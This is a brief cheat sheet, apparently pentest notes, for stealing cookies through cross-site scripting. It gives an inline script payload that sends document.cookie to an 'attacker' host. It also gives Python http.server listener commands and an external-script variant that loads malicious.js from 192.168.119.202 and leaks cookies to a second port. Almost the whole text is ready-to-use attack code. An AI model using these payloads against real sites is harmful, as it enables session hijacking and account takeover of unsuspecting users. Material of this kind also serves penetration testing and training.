XSS - Cookie Stealing
Inline cookie exfiltration payload
<script>var i=new Image;i.src="http://attacker:8080/?"+document.cookie;</script>
Listener
python -m http.server 8080
External JS variant
Save the payload to malicious.js:
<script>var i=new Image;i.src="http://attacker:8081/?"+document.cookie;</script>
Two listeners (one for hosting, one to receive the leaked cookies):
python -m http.server 8080
python -m http.server 8081
Then deliver:
<script src="http://192.168.119.202:8080/malicious.js"></script>
Reference
https://html5sec.org/